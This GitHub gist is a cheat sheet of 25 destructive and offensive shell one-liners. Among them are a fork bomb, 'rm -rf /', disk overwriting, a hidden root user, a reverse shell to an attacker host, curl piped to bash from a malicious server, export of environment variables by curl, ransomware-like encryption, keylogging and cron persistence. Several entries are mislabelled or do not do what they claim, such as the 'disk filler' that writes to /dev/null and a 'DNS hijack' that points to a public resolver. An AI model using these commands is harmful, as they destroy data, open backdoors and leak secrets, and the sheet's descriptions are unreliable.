Skip to content

Instantly share code, notes, and snippets.

@copyleftdev
Created September 5, 2024 05:40
Show Gist options
  • Save copyleftdev/17ffd060ade800df8b5e8a829947485b to your computer and use it in GitHub Desktop.
Save copyleftdev/17ffd060ade800df8b5e8a829947485b to your computer and use it in GitHub Desktop.
πŸ–€ The Evil 'Ol Hacker's One-Liner Cheat Sheet πŸ–€

πŸ–€ The Evil 'Ol Hacker's One-Liner Cheat Sheet πŸ–€

1. πŸŒ€ Fork Bomb (Denial of Service)

Recursively spawns processes until the system crashes.

:(){ :|: & };:  # 🧨 Boom!

2. πŸ’Ύ Disk Filler (Fill Disk Space Quickly)

Fill up all disk space with a giant file!

dd if=/dev/zero of=/dev/null &  # πŸ“‰ Bye-bye, disk space!

3. ☠️ Kill All Processes (Immediate Shutdown)

Terminate all running processes and make your system cry.

kill -9 -1  # πŸ’€ RIP, all processes!

4. ❌ Delete Everything (File System Destruction)

Wipe out everything β€” nothing shall survive!

rm -rf /  # ⚠️ Destruction in 3... 2... 1...

Even the hidden stuff...

rm -rf .* --no-preserve-root  # πŸ•΅οΈβ€β™‚οΈ Hidden files? Not anymore!

5. πŸ”₯ Overwrite Hard Drive with Random Data (Destroy Data Irreversibly)

Replace all data with random junk. Forever!

dd if=/dev/urandom of=/dev/sda bs=1M  # πŸ”₯ Melting down the hard drive...

6. 🎭 Add Malicious Aliases (Redefine Commands)

Hijack common commands for mayhem!

echo 'alias ls="rm -rf *"' >> ~/.bashrc  # 🎭 Tricking users left and right!

7. πŸ‘€ Backdoor Creation (Add Root User)

Sneak in as a superuser.

useradd eviluser -p $(openssl passwd -1 "password") -G root  # πŸ”‘ Unlock root access!

8. 🌐 Redirect Shell to a Remote Host (Reverse Shell)

Open a backdoor to connect back to you!

bash -i >& /dev/tcp/attacker_ip/port 0>&1  # πŸ“ž Calling home...

9. πŸ”„ Infinite Recursion (Terminal Freezer)

Lock up the terminal with an infinite loop.

:(){ echo ":() { :|: & };:" | sh; };:  # ⏳ Freeze!

10. πŸ“‘ Send All Network Traffic to a Remote Host (Exfiltration)

Redirect all data to your server.

iptables -A OUTPUT -j DNAT --to-destination <attacker_ip>:<port>  # 🚨 Data siphon engaged!

11. 🚫 Disable Network Interfaces (Disconnect Machine from Network)

Pull the plug on network access.

ifconfig eth0 down  # 🚫 No more internet for you!

12. πŸ”’ Change File Ownership Recursively (Lock Out Users)

Seize control of every file.

chown root:root -R /  # πŸ—οΈ Now you own everything!

13. πŸ•΅οΈβ€β™‚οΈ Encrypt All Files (Ransomware-like Behavior)

Turn all files into gibberish until a ransom is paid.

for file in $(find . -type f); do openssl enc -aes-256-cbc -salt -in "$file" -out "${file}.enc" -k "password"; rm "$file"; done  # πŸ’° Pay up!

14. 🎹 Capture Keystrokes (Keylogger)

Spy on every keystroke.

xinput test <device_id> > /tmp/keystrokes.log  # πŸ‘€ Logging every keystroke...

15. πŸ“‹ Inject Malicious Commands in .bashrc (Persist Across Sessions)

Make your evil commands run every time the terminal opens!

echo 'malicious_command' >> ~/.bashrc  # πŸ•ΈοΈ Persist, evil script, persist!

16. πŸ’£ Consume All System Memory (Memory Bomb)

Use up all memory until the system begs for mercy.

:(){ :|: & };:  # πŸ’£ Memory bomb!

17. 🎯 Redirect DNS to Malicious Server (DNS Hijacking)

Change DNS to point to your evil server.

echo 'nameserver 8.8.8.8' > /etc/resolv.conf  # πŸ•΅οΈβ€β™‚οΈ Redirect all the DNS traffic!

18. πŸš€ Execute Arbitrary Commands from Remote File (Remote Code Execution)

Run whatever script you want from anywhere.

curl http://malicious-server.com/script.sh | bash  # 🎯 Gotcha!

19. πŸ”₯ Execute Script on All Machines (SSH Loop Attack)

Run a nasty script on every machine you can reach.

for ip in $(seq 1 254); do ssh user@192.168.1.$ip 'malicious_command'; done  # πŸ’₯ Spreading the chaos!

20. πŸ‘» Hide Processes (Rootkit-like Behavior)

Make your evil processes invisible.

mv /usr/bin/top /usr/bin/.top; echo 'alias top="/usr/bin/.top | grep -v evil_process"' >> ~/.bashrc  # πŸ‘» Now you see me, now you don't!

21. πŸ“… Endless Loop in Crontab (Self-Sustaining Attack)

Create a persistent attack loop with cron jobs.

(crontab -l; echo "* * * * * bash -c 'malicious_command'") | crontab -  # πŸ”„ Forever and ever...

22. πŸ•΅οΈβ€β™‚οΈ Capture All Network Traffic (Sniffing)

Snoop on all data flying through the network.

tcpdump -i any -w /tmp/capture.pcap  # πŸ•΅οΈβ€β™‚οΈ Got all your packets!

23. πŸ”’ Change Shell for User to /bin/false (Account Lockout)

Lock the user out by denying shell access.

usermod -s /bin/false username  # 🚷 You're locked out!

24. πŸ”” Infinite Notification Pop-ups (Annoying Denial of Service)

Annoy users endlessly with pop-ups.

while true; do notify-send "Hello, World!"; done  # πŸ”” Ding! Ding! Ding!

25. πŸ“₯ Send All Environment Variables to Attacker (Data Exfiltration)

Exfiltrate sensitive environment variables to your server.

env | curl -d @- http://malicious-server.com/upload  # πŸ•΅οΈβ€β™‚οΈ Sending env variables...

⚠️ Use Responsibly!

🚨 Warning: This cheat sheet is meant for educational purposes only. It shows how seemingly simple commands can be weaponized to create havoc. Never use these commands on systems you do not own or manage, and always prioritize ethical behavior, respect privacy, and follow the law. πŸ•΅οΈβ€β™‚οΈπŸ’»

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment